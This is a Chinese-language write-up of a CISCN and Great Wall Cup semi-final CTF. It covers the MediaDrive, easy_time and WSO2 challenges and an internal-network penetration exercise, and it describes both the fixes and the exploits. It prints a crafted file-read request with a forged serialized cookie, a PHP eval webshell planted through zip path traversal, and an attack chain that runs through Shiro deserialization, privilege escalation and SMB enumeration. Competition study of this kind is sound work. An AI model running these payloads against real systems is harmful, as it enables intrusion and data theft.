ciscn及长城杯半决赛回顾
字数 2949
更新时间 2026-03-26 12:27:17

CTF比赛AWDP与ISW靶场实战技术详解

背景概述

本文档基于用户“bTchrAqTvr”在先知社区分享的《ciscn及长城杯半决赛回顾》文章内容整理生成,详细剖析了第十九届全国大学生信息安全竞赛(CISCN)半决赛浙江赛区中涉及的AWDP(Attack With Defense Plus)攻防赛和ISW(Internal Security War)内网渗透赛的关键题目、解题思路、修复方法及实战技巧。

一、 AWDP 赛题详解

AWDP赛制要求参赛队伍在攻击对方服务的同时,修复并加固己方的服务漏洞。

1. MediaDrive

漏洞点:位于/preview.php的文件读取漏洞。

代码审计与修复(Fix)

  1. 漏洞定位:通过源代码审计,分析出/preview.php存在关键文件读取功能。
  2. 修复策略
    • 注释掉存在漏洞的file_get_contents($convertedPath);代码行。
    • 为相关变量赋予一个固定的、无害的值。
    • 在过滤黑名单中增加更严格的规则,使用正则表达式过滤所有字母和数字字符,以防止路径穿越和特殊协议利用:
      if (preg_match('/flag|/flag|\.\.|php:|data:|expect:|php|[a-z]|[0-9]/i', $rawPath)) {
          http_response_code(403);
          echo "Access denied";
          exit;
      }
      

攻击利用(Break)

  1. 漏洞原理preview.phpf参数和Cookie中的user反序列化对象可控。其中,user对象包含encoding(编码字符集,如UTF-16LE)和basePath(基础路径)属性。程序会使用指定的编码处理f参数,并与basePath拼接,最终传递给file_get_contents函数。
  2. 利用步骤
    • 构造特殊的Cookie,将encoding设置为UTF-16LEbasePath设置为空字符串""
    • f参数传入经过UTF-16LE编码的字符串/flag(编码后形式类似%2f%00%66%00%6c%00%61%00%67%00)。
    • 服务器在处理时,会按照UTF-16LE解码参数,并与basePath拼接,最终构造出读取/flag文件的路径,从而绕过常规的过滤规则。
  3. 请求示例
    GET /preview.php?f=%2f%00%66%00%6c%00%61%00%67%00 HTTP/1.1
    Host: target
    Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A8%3A%22UTF-16LE%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D
    

2. easy_time

漏洞点:硬编码密钥、Cookie伪造、路径穿越文件上传、SSRF(服务器端请求伪造)。

代码审计与修复(Fix)

  1. 硬编码密钥:Flask应用的secret_key在代码中明文硬编码。修复方法是将其改为更复杂、无规律的随机值。
  2. Cookie验证逻辑:存在通过Cookie(如user=admin; visited=yes)即可直接登录的验证缺陷。需要修复验证逻辑,确保登录状态严格基于session或有效的Token。
  3. 服务进程管理:Dockerfile中使用supervisord管理进程。修复时需注意,直接上传修复后的代码文件,默认不会重启Web服务(如Flask)。为了让新代码生效,需要触发supervisord重新拉起子进程,例如修改相关配置或发送重启信号。

攻击利用(Break)

  1. 信息收集:Dockerfile暴露80和5000端口,对应PHP和Python服务。
  2. 身份伪造:直接设置Cookie user=admin; visited=yes 即可绕过登录验证。
  3. 文件上传GetShell
    • 访问已登录状态下的/plugin/upload路由,该功能允许上传ZIP压缩包。
    • 漏洞原理:后端使用os.path.join处理压缩包内文件名时,未过滤路径穿越字符(如../../)。
    • 利用步骤
      a. 创建一个包含WebShell的PHP文件:echo '<?php eval($_GET["a"]);?>' > ../../../../../../var/www/html/a.php
      b. 将该文件打包:zip -r a.zip ../../../../../../var/www/html/a.php
      c. 上传a.zip压缩包。服务器解压时,由于路径穿越,会将WebShell写入到Web目录(/var/www/html/)下的a.php文件中。
  4. SSRF读取Flag:在/about目录下存在SSRF漏洞。利用该漏洞,可以构造请求读取服务器本地临时目录(如/tmp/)下的flag文件。

3. WSO2

修复(Fix)
题目检查机制可能依赖于flag文件的存在。最直接的修复方法是删除flag文件:rm /flag。但此方法需根据具体check逻辑谨慎使用,并非通用修复方案。

二、 ISW 内网渗透实战

攻击流程简述

  1. 信息收集:使用nmap对靶机进行端口扫描,发现开放服务。
  2. 漏洞利用:使用漏洞扫描器识别出目标存在Apache Shiro反序列化漏洞。
  3. 突破边界:利用Shiro反序列化工具成功获取目标系统的初始立足点(例如,执行命令或上传木马)。
  4. 权限提升:利用CVE漏洞进行提权,成功读取/root目录下的flag。
  5. 内网横向移动
    • 上传内网扫描工具(如fscan)对当前网段进行扫描,发现另一存活IP。
    • 对新IP进行扫描,发现其开放445端口(SMB服务)。
    • 使用enum4linux工具对该SMB服务进行枚举和爆破,成功获取到该内网机器上的flag。

三、 关键技巧与注意事项总结

  1. AWDP修复要点

    • 彻底消除漏洞:修复不仅是补上利用点,更要理解漏洞根本成因(如编码处理、路径拼接逻辑),从根源上阻断。
    • 服务状态管理:在容器化环境中,修复代码后必须确认服务是否重启以加载新代码。注意supervisordsystemd等进程管理器的行为。
    • 防御的全面性:过滤规则应尽可能严格,同时考虑多种绕过方式(如编码绕过、空字节截断等)。
  2. AWDP攻击要点

    • 代码审计深度:快速定位敏感函数(如file_get_contents, os.path.join)和可控参数。
    • 利用链构造:将多个薄弱点串联,例如本例中结合了反序列化控制对象属性、编码转换、路径拼接来构造有效的文件读取payload。
    • 常见漏洞利用模式:文件上传+路径穿越是常见的GetShell手段;SSRF常用来读取内网或本地文件。
  3. ISW内网渗透要点

    • 自动化工具结合:熟练使用nmap、漏扫工具、漏洞利用框架(如Shiro反序列化工具)、内网扫描工具(如fscan)和信息枚举工具(如enum4linux)。
    • 攻击链思维:外网突破 -> 权限提升 -> 信息收集(网段、存活主机、服务)-> 横向移动,形成完整的攻击路径。
    • 重点服务关注:SMB、RDP、MySQL、Redis等在内网中常见的服务,往往是横向移动的突破口。

四、 资源与附件

原文作者提供了比赛中的Web题目附件,供进一步研究复现。

  • 下载链接与提取码见原文末尾。

文档内容主要提取自提供的先知社区文章链接。关于文中提到的具体漏洞原理(如Shiro反序列化、enum4linux工具用法)的更深层技术细节,文档未做展开,如需深入了解,建议结合其他专业安全资料进行学习。

相似文章
相似文章
 全屏